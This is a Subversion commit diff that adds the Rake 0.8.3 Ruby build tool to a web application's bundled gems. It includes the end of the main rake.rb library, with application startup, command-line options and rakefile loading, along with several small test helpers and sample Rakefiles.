+    # an anonymous namespace if +name+ is nil.
+    def in_namespace(name)
+      name ||= generate_name
+      @scope.push(name)
+      ns = NameSpace.new(self, @scope)
+      yield(ns)
+      ns
+    ensure
+      @scope.pop
+    end
+
+    private
+
+    # Generate an anonymous namespace name.
+    def generate_name
+      @seed ||= 0
+      @seed += 1
+      "_anon_#{@seed}"
+    end
+
+    def trace_rule(level, message)
+      puts "#{"    "*level}#{message}" if Rake.application.options.trace_rules
+    end
+
+    # Attempt to create a rule given the list of prerequisites.
+    def attempt_rule(task_name, extensions, block, level)
+      sources = make_sources(task_name, extensions)
+      prereqs = sources.collect { |source|
+        trace_rule level, "Attempting Rule #{task_name} => #{source}"
+        if File.exist?(source) || Rake::Task.task_defined?(source)
+          trace_rule level, "(#{task_name} => #{source} ... EXIST)"
+          source
+        elsif parent = enhance_with_matching_rule(source, level+1)
+          trace_rule level, "(#{task_name} => #{source} ... ENHANCE)"
+          parent.name
+        else
+          trace_rule level, "(#{task_name} => #{source} ... FAIL)"
+          return nil
+        end
+      }
+      task = FileTask.define_task({task_name => prereqs}, &block)
+      task.sources = prereqs
+      task
+    end
+
+    # Make a list of sources from the list of file name extensions /
+    # translation procs.
+    def make_sources(task_name, extensions)
+      extensions.collect { |ext|
+        case ext
+        when /%/
+          task_name.pathmap(ext)
+        when %r{/}
+          ext
+        when /^\./
+          task_name.ext(ext)
+        when String
+          ext
+        when Proc
+          if ext.arity == 1
+            ext.call(task_name)
+          else
+            ext.call
+          end
+        else
+          fail "Don't know how to handle rule dependent: #{ext.inspect}"
+        end
+      }.flatten
+    end
+
+  end # TaskManager
+
+  ######################################################################
+  # Rake main application object.  When invoking +rake+ from the
+  # command line, a Rake::Application object is created and run.
+  #
+  class Application
+    include TaskManager
+
+    # The name of the application (typically 'rake')
+    attr_reader :name
+
+    # The original directory where rake was invoked.
+    attr_reader :original_dir
+
+    # Name of the actual rakefile used.
+    attr_reader :rakefile
+
+    # List of the top level task names (task names from the command line).
+    attr_reader :top_level_tasks
+
+    DEFAULT_RAKEFILES = ['rakefile', 'Rakefile', 'rakefile.rb', 'Rakefile.rb'].freeze
+
+    # Initialize a Rake::Application object.
+    def initialize
+      super
+      @name = 'rake'
+      @rakefiles = DEFAULT_RAKEFILES.dup
+      @rakefile = nil
+      @pending_imports = []
+      @imported = []
+      @loaders = {}
+      @default_loader = Rake::DefaultLoader.new
+      @original_dir = Dir.pwd
+      @top_level_tasks = []
+      add_loader('rb', DefaultLoader.new)
+      add_loader('rf', DefaultLoader.new)
+      add_loader('rake', DefaultLoader.new)
+      @tty_output = STDOUT.tty?
+    end
+
+    # Run the Rake application.  The run method performs the following three steps:
+    #
+    # * Initialize the command line options (+init+).
+    # * Define the tasks (+load_rakefile+).
+    # * Run the top level tasks (+run_tasks+).
+    #
+    # If you wish to build a custom rake command, you should call +init+ on your
+    # application.  The define any tasks.  Finally, call +top_level+ to run your top
+    # level tasks.
+    def run
+      standard_exception_handling do
+        init
+        load_rakefile
+        top_level
+      end
+    end
+
+    # Initialize the command line parameters and app name.
+    def init(app_name='rake')
+      standard_exception_handling do
+        @name = app_name
+        collect_tasks handle_options
+      end
+    end
+
+    # Find the rakefile and then load it and any pending imports.
+    def load_rakefile
+      standard_exception_handling do
+        raw_load_rakefile
+      end
+    end
+
+    # Run the top level tasks of a Rake application.
+    def top_level
+      standard_exception_handling do
+        if options.show_tasks
+          display_tasks_and_comments
+        elsif options.show_prereqs
+          display_prerequisites
+        else
+          top_level_tasks.each { |task_name| invoke_task(task_name) }
+        end
+      end
+    end
+
+    # Add a loader to handle imported files ending in the extension
+    # +ext+.
+    def add_loader(ext, loader)
+      ext = ".#{ext}" unless ext =~ /^\./
+      @loaders[ext] = loader
+    end
+
+    # Application options from the command line
+    def options
+      @options ||= OpenStruct.new
+    end
+
+    # private ----------------------------------------------------------------
+
+    def invoke_task(task_string)
+      name, args = parse_task_string(task_string)
+      t = self[name]
+      t.invoke(*args)
+    end
+
+    def parse_task_string(string)
+      if string =~ /^([^\[]+)(\[(.*)\])$/
+        name = $1
+        args = $3.split(/\s*,\s*/)
+      else
+        name = string
+        args = []
+      end
+      [name, args]
+    end
+
+    # Provide standard execption handling for the given block.
+    def standard_exception_handling
+      begin
+        yield
+      rescue SystemExit => ex
+        # Exit silently with current status
+        exit(ex.status)
+      rescue SystemExit, OptionParser::InvalidOption => ex
+        # Exit silently
+        exit(1)
+      rescue Exception => ex
+        # Exit with error message
+        $stderr.puts "rake aborted!"
+        $stderr.puts ex.message
+        if options.trace
+          $stderr.puts ex.backtrace.join("\n")
+        else
+          $stderr.puts ex.backtrace.find {|str| str =~ /#{@rakefile}/ } || ""
+          $stderr.puts "(See full trace by running task with --trace)"
+        end
+        exit(1)
+      end
+    end
+
+    # True if one of the files in RAKEFILES is in the current directory.
+    # If a match is found, it is copied into @rakefile.
+    def have_rakefile
+      @rakefiles.each do |fn|
+        if File.exist?(fn) || fn == ''
+          return fn
+        end
+      end
+      return nil
+    end
+
+    # True if we are outputting to TTY, false otherwise
+    def tty_output?
+      @tty_output
+    end
+
+    # Override the detected TTY output state (mostly for testing)
+    def tty_output=( tty_output_state )
+      @tty_output = tty_output_state
+    end
+
+    # We will truncate output if we are outputting to a TTY or if we've been
+    # given an explicit column width to honor
+    def truncate_output?
+      tty_output? || ENV['RAKE_COLUMNS']
+    end
+
+    # Display the tasks and dependencies.
+    def display_tasks_and_comments
+      displayable_tasks = tasks.select { |t|
+        t.comment && t.name =~ options.show_task_pattern
+      }
+      if options.full_description
+        displayable_tasks.each do |t|
+          puts "rake #{t.name_with_args}"
+          t.full_comment.split("\n").each do |line|
+            puts "    #{line}"
+          end
+          puts
+        end
+      else
+        width = displayable_tasks.collect { |t| t.name_with_args.length }.max || 10
+        max_column = truncate_output? ? terminal_width - name.size - width - 7 : nil
+        displayable_tasks.each do |t|
+          printf "#{name} %-#{width}s  # %s\n",
+            t.name_with_args, max_column ? truncate(t.comment, max_column) : t.comment
+        end
+      end
+    end
+
+    def terminal_width
+      if ENV['RAKE_COLUMNS']
+        result = ENV['RAKE_COLUMNS'].to_i
+      else
+        result = unix? ? dynamic_width : 80
+      end
+      (result < 10) ? 80 : result
+    rescue
+      80
+    end
+
+    # Calculate the dynamic width of the 
+    def dynamic_width
+      @dynamic_width ||= (dynamic_width_stty.nonzero? || dynamic_width_tput)
+    end
+
+    def dynamic_width_stty
+      %x{stty size 2>/dev/null}.split[1].to_i
+    end
+
+    def dynamic_width_tput
+      %x{tput cols 2>/dev/null}.to_i
+    end
+
+    def unix?
+      RUBY_PLATFORM =~ /(aix|darwin|linux|(net|free|open)bsd|cygwin|solaris|irix|hpux)/i
+    end
+    
+    def windows?
+      Win32.windows?
+    end
+
+    def truncate(string, width)
+      if string.length <= width
+        string
+      else
+        ( string[0, width-3] || "" ) + "..."
+      end
+    end
+
+    # Display the tasks and prerequisites
+    def display_prerequisites
+      tasks.each do |t|
+        puts "rake #{t.name}"
+        t.prerequisites.each { |pre| puts "    #{pre}" }
+      end
+    end
+
+    # A list of all the standard options used in rake, suitable for
+    # passing to OptionParser.
+    def standard_rake_options
+      [
+        ['--classic-namespace', '-C', "Put Task and FileTask in the top level namespace",
+          lambda { |value|
+            require 'rake/classic_namespace'
+            options.classic_namespace = true
+          }
+        ],
+        ['--describe', '-D [PATTERN]', "Describe the tasks (matching optional PATTERN), then exit.",
+          lambda { |value|
+            options.show_tasks = true
+            options.full_description = true
+            options.show_task_pattern = Regexp.new(value || '')
+          }
+        ],
+        ['--dry-run', '-n', "Do a dry run without executing actions.",
+          lambda { |value|
+            verbose(true)
+            nowrite(true)
+            options.dryrun = true
+            options.trace = true
+          }
+        ],
+        ['--execute',  '-e CODE', "Execute some Ruby code and exit.",
+          lambda { |value|
+            eval(value)
+            exit
+          }
+        ],
+        ['--execute-print',  '-p CODE', "Execute some Ruby code, print the result, then exit.",
+          lambda { |value|
+            puts eval(value)
+            exit
+          }
+        ],
+        ['--execute-continue',  '-E CODE',
+          "Execute some Ruby code, then continue with normal task processing.",
+          lambda { |value| eval(value) }            
+        ],
+        ['--libdir', '-I LIBDIR', "Include LIBDIR in the search path for required modules.",
+          lambda { |value| $:.push(value) }
+        ],
+        ['--prereqs', '-P', "Display the tasks and dependencies, then exit.",
+          lambda { |value| options.show_prereqs = true }
+        ],
+        ['--quiet', '-q', "Do not log messages to standard output.",
+          lambda { |value| verbose(false) }
+        ],
+        ['--rakefile', '-f [FILE]', "Use FILE as the rakefile.",
+          lambda { |value| 
+            value ||= ''
+            @rakefiles.clear 
+            @rakefiles << value
+          }
+        ],
+        ['--rakelibdir', '--rakelib', '-R RAKELIBDIR',
+          "Auto-import any .rake files in RAKELIBDIR. (default is 'rakelib')",
+          lambda { |value| options.rakelib = value.split(':') }
+        ],
+        ['--require', '-r MODULE', "Require MODULE before executing rakefile.",
+          lambda { |value|
+            begin
+              require value
+            rescue LoadError => ex
+              begin
+                rake_require value
+              rescue LoadError => ex2
+                raise ex
+              end
+            end
+          }
+        ],
+        ['--rules', "Trace the rules resolution.",
+          lambda { |value| options.trace_rules = true }
+        ],
+        ['--no-search', '--nosearch', '-N', "Do not search parent directories for the Rakefile.",
+          lambda { |value| options.nosearch = true }
+        ],
+        ['--silent', '-s', "Like --quiet, but also suppresses the 'in directory' announcement.",
+          lambda { |value|
+            verbose(false)
+            options.silent = true
+          }
+        ],
+        ['--system',  '-g',
+          "Using system wide (global) rakefiles (usually '~/.rake/*.rake').",
+          lambda { |value| options.load_system = true }
+        ],
+        ['--no-system', '--nosystem', '-G',
+          "Use standard project Rakefile search paths, ignore system wide rakefiles.",
+          lambda { |value| options.ignore_system = true }
+        ],
+        ['--tasks', '-T [PATTERN]', "Display the tasks (matching optional PATTERN) with descriptions, then exit.",
+          lambda { |value|
+            options.show_tasks = true
+            options.show_task_pattern = Regexp.new(value || '')
+            options.full_description = false
+          }
+        ],
+        ['--trace', '-t', "Turn on invoke/execute tracing, enable full backtrace.",
+          lambda { |value|
+            options.trace = true
+            verbose(true)
+          }
+        ],
+        ['--verbose', '-v', "Log message to standard output (default).",
+          lambda { |value| verbose(true) }
+        ],
+        ['--version', '-V', "Display the program version.",
+          lambda { |value|
+            puts "rake, version #{RAKEVERSION}"
+            exit
+          }
+        ]
+      ]
+    end
+
+    # Read and handle the command line options.
+    def handle_options
+      options.rakelib = ['rakelib']
+
+      opts = OptionParser.new
+      opts.banner = "rake [-f rakefile] {options} targets..."
+      opts.separator ""
+      opts.separator "Options are ..."
+      
+      opts.on_tail("-h", "--help", "-H", "Display this help message.") do
+        puts opts
+        exit
+      end
+      
+      standard_rake_options.each { |args| opts.on(*args) }
+      parsed_argv = opts.parse(ARGV)
+
+      # If class namespaces are requested, set the global options
+      # according to the values in the options structure.
+      if options.classic_namespace
+        $show_tasks = options.show_tasks
+        $show_prereqs = options.show_prereqs
+        $trace = options.trace
+        $dryrun = options.dryrun
+        $silent = options.silent
+      end
+      parsed_argv
+    end
+
+    # Similar to the regular Ruby +require+ command, but will check
+    # for *.rake files in addition to *.rb files.
+    def rake_require(file_name, paths=$LOAD_PATH, loaded=$")
+      return false if loaded.include?(file_name)
+      paths.each do |path|
+        fn = file_name + ".rake"
+        full_path = File.join(path, fn)
+        if File.exist?(full_path)
+          load full_path
+          loaded << fn
+          return true
+        end
+      end
+      fail LoadError, "Can't find #{file_name}"
+    end
+
+    def find_rakefile_location
+      here = Dir.pwd
+      while ! (fn = have_rakefile)
+        Dir.chdir("..")
+        if Dir.pwd == here || options.nosearch
+          return nil
+        end
+        here = Dir.pwd
+      end
+      [fn, here]
+    ensure
+      Dir.chdir(Rake.original_dir)
+    end
+
+    def raw_load_rakefile # :nodoc:
+      rakefile, location = find_rakefile_location
+      if (! options.ignore_system) &&
+          (options.load_system || rakefile.nil?) &&
+          system_dir && File.directory?(system_dir)
+        puts "(in #{Dir.pwd})" unless options.silent
+        glob("#{system_dir}/*.rake") do |name|
+          add_import name
+        end
+      else
+        fail "No Rakefile found (looking for: #{@rakefiles.join(', ')})" if
+          rakefile.nil?
+        @rakefile = rakefile
+        Dir.chdir(location)
+        puts "(in #{Dir.pwd})" unless options.silent
+        $rakefile = @rakefile if options.classic_namespace
+        load File.expand_path(@rakefile) if @rakefile && @rakefile != ''
+        options.rakelib.each do |rlib|
+          glob("#{rlib}/*.rake") do |name|
+            add_import name
+          end
+        end
+      end
+      load_imports
+    end
+
+    def glob(path, &block)
+      Dir[path.gsub("\\", '/')].each(&block)
+    end
+    private :glob
+
+    # The directory path containing the system wide rakefiles.
+    def system_dir
+      @system_dir ||=
+        begin
+          if ENV['RAKE_SYSTEM']
+            ENV['RAKE_SYSTEM']
+          elsif Win32.windows?
+            Win32.win32_system_dir
+          else
+            standard_system_dir
+          end
+        end
+    end
+    
+    # The standard directory containing system wide rake files.
+    def standard_system_dir #:nodoc:
+      File.join(File.expand_path('~'), '.rake')
+    end
+    private :standard_system_dir
+
+    # Collect the list of tasks on the command line.  If no tasks are
+    # given, return a list containing only the default task.
+    # Environmental assignments are processed at this time as well.
+    def collect_tasks(argv)
+      @top_level_tasks = []
+      argv.each do |arg|
+        if arg =~ /^(\w+)=(.*)$/
+          ENV[$1] = $2
+        else
+          @top_level_tasks << arg unless arg =~ /^-/
+        end
+      end
+      @top_level_tasks.push("default") if @top_level_tasks.size == 0
+    end
+
+    # Add a file to the list of files to be imported.
+    def add_import(fn)
+      @pending_imports << fn
+    end
+
+    # Load the pending list of imported files.
+    def load_imports
+      while fn = @pending_imports.shift
+        next if @imported.member?(fn)
+        if fn_task = lookup(fn)
+          fn_task.invoke
+        end
+        ext = File.extname(fn)
+        loader = @loaders[ext] || @default_loader
+        loader.load(fn)
+        @imported << fn
+      end
+    end
+
+    # Warn about deprecated use of top level constant names.
+    def const_warning(const_name)
+      @const_warning ||= false
+      if ! @const_warning
+        $stderr.puts %{WARNING: Deprecated reference to top-level constant '#{const_name}' } +
+          %{found at: #{rakefile_location}} # '
+        $stderr.puts %{    Use --classic-namespace on rake command}
+        $stderr.puts %{    or 'require "rake/classic_namespace"' in Rakefile}
+      end
+      @const_warning = true
+    end
+
+    def rakefile_location
+      begin
+        fail
+      rescue RuntimeError => ex
+        ex.backtrace.find {|str| str =~ /#{@rakefile}/ } || ""
+      end
+    end
+  end
+end
+
+
+class Module
+  # Rename the original handler to make it available.
+  alias :rake_original_const_missing :const_missing
+
+  # Check for deprecated uses of top level (i.e. in Object) uses of
+  # Rake class names.  If someone tries to reference the constant
+  # name, display a warning and return the proper object.  Using the
+  # --classic-namespace command line option will define these
+  # constants in Object and avoid this handler.
+  def const_missing(const_name)
+    case const_name
+    when :Task
+      Rake.application.const_warning(const_name)
+      Rake::Task
+    when :FileTask
+      Rake.application.const_warning(const_name)
+      Rake::FileTask
+    when :FileCreationTask
+      Rake.application.const_warning(const_name)
+      Rake::FileCreationTask
+    when :RakeApp
+      Rake.application.const_warning(const_name)
+      Rake::Application
+    else
+      rake_original_const_missing(const_name)
+    end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/capture_stdout.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/capture_stdout.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/capture_stdout.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+#!/usr/bin/env ruby
+
+require 'stringio'
+
+# Mix-in for capturing standard output.
+module CaptureStdout
+  def capture_stdout
+    s = StringIO.new
+    oldstdout = $stdout
+    $stdout = s
+    yield
+    s.string
+  ensure
+    $stdout = oldstdout
+  end
+
+  def capture_stderr
+    s = StringIO.new
+    oldstderr = $stderr
+    $stderr = s
+    yield
+    s.string
+  ensure
+    $stderr = oldstderr
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/check_expansion.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/check_expansion.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/check_expansion.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+if ARGV[0] != ARGV[1]
+  exit 1
+else
+  exit 0
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/contrib/test_sys.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/contrib/test_sys.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/contrib/test_sys.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'test/filecreation'
+require 'rake/contrib/sys'
+
+class TestSys < Test::Unit::TestCase
+  include FileCreation
+
+#   def test_delete
+#     create_file("testdata/a")
+#     Sys.delete_all("testdata/a")
+#     assert ! File.exist?("testdata/a")
+#   end
+
+#   def test_copy
+#     create_file("testdata/a")
+#     Sys.copy("testdata/a", "testdata/b")
+#     assert File.exist?("testdata/b")
+#   end
+
+#   def test_for_files
+#     test_files = ["testdata/a.pl", "testdata/c.pl", "testdata/b.rb"]
+#     test_files.each { |fn| create_file(fn) }
+#     list = []
+#     Sys.for_files("testdata/*.pl", "testdata/*.rb") { |fn|
+#       list << fn
+#     }
+#     assert_equal test_files.sort, list.sort
+#   end
+
+#   def test_indir
+#     here = Dir.pwd
+#     Sys.makedirs("testdata/dir")
+#     assert_equal "#{here}/testdata/dir", Sys.indir("testdata/dir") { Dir.pwd }
+#     assert_equal here, Dir.pwd
+#   end
+
+  def test_split_all
+    assert_equal ['a'], Sys.split_all('a')
+    assert_equal ['..'], Sys.split_all('..')
+    assert_equal ['/'], Sys.split_all('/')
+    assert_equal ['a', 'b'], Sys.split_all('a/b')
+    assert_equal ['/', 'a', 'b'], Sys.split_all('/a/b')
+    assert_equal ['..', 'a', 'b'], Sys.split_all('../a/b')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/chains/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/chains/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/chains/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+# -*- ruby -*-
+
+task :default => "play.app"
+
+file "play.scpt" => "base" do |t|
+  cp t.prerequisites.first, t.name
+end
+
+rule ".app" => ".scpt" do |t|
+  cp t.source, t.name
+end
+
+file 'base' do
+  touch 'base'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/default/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/default/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/default/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+#!/usr/bin/env ruby
+
+if ENV['TESTTOPSCOPE']
+  puts "TOPSCOPE"
+end
+
+task :default do
+  puts "DEFAULT"
+end
+
+task :other => [:default] do
+  puts "OTHER"
+end
+
+task :task_scope do
+  if ENV['TESTTASKSCOPE']
+    puts "TASKSCOPE"
+  end
+end    

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/dryrun/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/dryrun/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/dryrun/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+# 
+
+task :default => ["temp_main"]
+
+file "temp_main" => [:all_apps]  do touch "temp_main" end
+
+task :all_apps => [:one, :two]
+task :one => ["temp_one"]
+task :two => ["temp_two"]
+
+file "temp_one" do |t|
+  touch "temp_one"
+end
+file "temp_two" do |t|
+  touch "temp_two"
+end
+
+task :clean do
+  ["temp_one", "temp_two", "temp_main"].each do |file|
+    rm_f file
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/file_creation_task/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/file_creation_task/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/file_creation_task/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+
+N = 2
+
+task :default => :run
+
+BUILD_DIR = 'build'
+task :clean do 
+  rm_rf 'build'
+  rm_rf 'src'
+end
+
+task :run
+
+TARGET_DIR = 'build/copies'
+
+FileList['src/*'].each do |src|
+  directory TARGET_DIR
+  target = File.join TARGET_DIR, File.basename(src)
+  file target => [src, TARGET_DIR] do
+    cp src, target
+    # sleep 3 if src !~ /foo#{N-1}$/   # I'm commenting out this sleep, it doesn't seem to do anything.
+  end
+  task :run => target
+end
+
+task :prep => :clean do
+  mkdir_p 'src'
+  N.times do |n|
+    puts "DBG: Touching src/foo#{n}"
+    touch "src/foo#{n}"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+# -*- ruby -*-
+
+require 'rake/loaders/makefile'
+
+task :default
+
+task :other do
+  puts "OTHER"
+end
+
+file "dynamic_deps" do |t|
+  open(t.name, "w") do |f| f.puts "puts 'DYNAMIC'" end
+end
+
+import "dynamic_deps"
+import "static_deps"
+import "static_deps"
+import "deps.mf"
+puts "FIRST"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/deps.mf
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/deps.mf	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/deps.mf	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+default: other

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/multidesc/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/multidesc/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/multidesc/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+#!/usr/bin/env ruby
+
+task :b
+
+desc "A"
+task :a
+
+desc "B"
+task :b
+
+desc "A2"
+task :a
+
+task :c
+
+desc "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+task :d

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/namespace/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/namespace/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/namespace/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,57 @@
+#!/usr/bin/env ruby
+
+desc "copy"
+task :copy do
+  puts "COPY"
+end
+
+namespace "nest" do
+  desc "nest copy"
+  task :copy do
+    puts "NEST COPY"
+  end
+  task :xx => :copy
+end
+
+anon_ns = namespace do
+  desc "anonymous copy task"
+  task :copy do
+    puts "ANON COPY"
+  end
+end
+
+desc "Top level task to run the anonymous version of copy"
+task :anon => anon_ns[:copy]
+
+namespace "very" do
+  namespace "nested" do
+    task "run" => "rake:copy"
+  end
+end
+
+namespace "a" do
+  desc "Run task in the 'a' namespace"
+  task "run" do
+    puts "IN A"
+  end
+end
+
+namespace "b" do
+  desc "Run task in the 'b' namespace"
+  task "run" => "a:run" do
+    puts "IN B"
+  end
+end
+
+namespace "file1" do
+  file "xyz.rb" do
+    puts "XYZ1"
+  end
+end
+
+namespace "file2" do
+  file "xyz.rb" do
+    puts "XYZ2"
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rakelib/test1.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rakelib/test1.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rakelib/test1.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+task :default do
+  puts "TEST1"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rbext/rakefile.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rbext/rakefile.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rbext/rakefile.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+task :default do
+  puts "OK"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/sample.mf
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/sample.mf	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/sample.mf	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+# Comments
+a: a1 a2 a3 a4
+b: b1 b2 b3 \
+   b4 b5 b6\
+# Mid: Comment
+b7
+
+ a : a5 a6 a7
+c: c1
+d: d1 d2 \
+
+e f : e1 f1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/statusreturn/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/statusreturn/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/statusreturn/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+#!/usr/bin/env ruby
+
+task :exit5 do
+  exit(5)
+end
+
+task :normal do
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/unittest/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/unittest/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/unittest/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+# Empty Rakefile for Unit Test

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/filecreation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/filecreation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/filecreation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+#!/usr/bin/env ruby
+
+module FileCreation
+  OLDFILE = "testdata/old"
+  NEWFILE = "testdata/new"
+
+  def create_timed_files(oldfile, *newfiles)
+    return if File.exist?(oldfile) && newfiles.all? { |newfile| File.exist?(newfile) }
+    old_time = create_file(oldfile)
+    newfiles.each do |newfile|
+      while create_file(newfile) <= old_time
+        sleep(0.1)
+        File.delete(newfile) rescue nil
+      end
+    end
+  end
+
+  def create_dir(dirname)
+    FileUtils.mkdir_p(dirname) unless File.exist?(dirname)
+    File.stat(dirname).mtime
+  end
+
+  def create_file(name)
+    create_dir(File.dirname(name))
+    FileUtils.touch(name) unless File.exist?(name)
+    File.stat(name).mtime
+  end
+
+  def delete_file(name)
+    File.delete(name) rescue nil
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/functional.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/functional.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/functional.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+#!/usr/bin/env ruby
+
+begin
+  require 'rubygems'
+  gem 'session'
+  require 'session'
+rescue LoadError
+  puts "UNABLE TO RUN FUNCTIONAL TESTS"
+  puts "No Session Found (gem install session)"
+end
+
+if defined?(Session)
+  puts "RUNNING WITH SESSIONS"
+  require 'test/session_functional'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/in_environment.rb
===================================================================
